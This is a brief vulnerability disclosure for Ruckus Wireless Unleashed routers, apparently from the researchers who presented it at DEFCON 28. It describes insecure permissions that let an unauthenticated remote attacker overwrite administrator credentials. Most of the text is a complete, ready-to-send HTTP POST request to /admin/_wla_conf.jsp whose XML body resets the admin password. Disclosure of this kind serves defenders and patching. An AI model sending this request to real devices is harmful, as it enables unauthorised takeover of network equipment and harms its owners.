Insecure permissions in emfd/libemf in Ruckus Wireless Unleashed through 200.7.10.102.92 allow a remote attacker to overwrite admin credentials via an unauthenticated crafted HTTP request.
Information about the exploitation of this vulnerability can alos be found in our DEFCON 28 talk.
POST /admin/_wla_conf.jsp HTTP/1.1
Content-Type: application/x-www-form-urlencoded charset=UTF-8
Content-Length: 248
Connection: close
<ajax-request action='setconf' updater='acl-list.1579433244273.4243' comp='/system'>
<admin username="admin" x-password="NewPass!" auth-token="" reset=true IS_PARTIAL="" auth-by="local" authsvr-id='0' fallback-local="true" />
</ajax-request>